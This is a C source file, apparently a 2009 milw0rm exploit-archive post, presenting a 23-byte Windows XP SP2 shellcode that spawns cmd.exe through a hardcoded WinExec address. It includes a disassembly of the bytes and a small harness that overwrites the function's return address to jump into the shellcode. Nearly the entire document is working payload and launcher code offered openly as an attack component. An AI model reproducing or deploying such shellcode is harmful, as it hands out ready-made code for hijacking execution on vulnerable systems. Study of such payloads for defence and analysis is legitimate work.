32 lines
No EOL
972 B
C
32 lines
No EOL
972 B
C
/*
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win32/xp sp2 (En) cmd.exe 23 bytes
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Author : Mountassif Moad
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A.K.A : Stack
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Description : It's a 23 Byte Shellcode which Execute Cmd.exe Tested Under Windows Xp SP2 En
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get the following if we disassemle this code compiled with olly debugger
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00402000 > 8BEC MOV EBP,ESP
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00402002 . 68 65786520 PUSH 20657865
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00402007 . 68 636D642E PUSH 2E646D63
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0040200C . 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8]
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0040200F . 50 PUSH EAX
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00402010 . B8 8D15867C MOV EAX,kernel32.WinExec
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00402015 . FFD0 CALL EAX
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*/
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#include <stdio.h>
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unsigned char shellcode[] =
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"\x8b\xec\x68\x65\x78\x65"
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"\x20\x68\x63\x6d\x64\x2e"
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"\x8d\x45\xf8\x50\xb8\x8D"
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"\x15\x86\x7C\xff\xd0";
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int main ()
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{
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int *ret;
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ret=(int *)&ret+2;
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printf("Shellcode Length is : %d\n",strlen(shellcode));
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(*ret)=(int)shellcode;
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return 0;
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}
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// milw0rm.com [2009-07-17]
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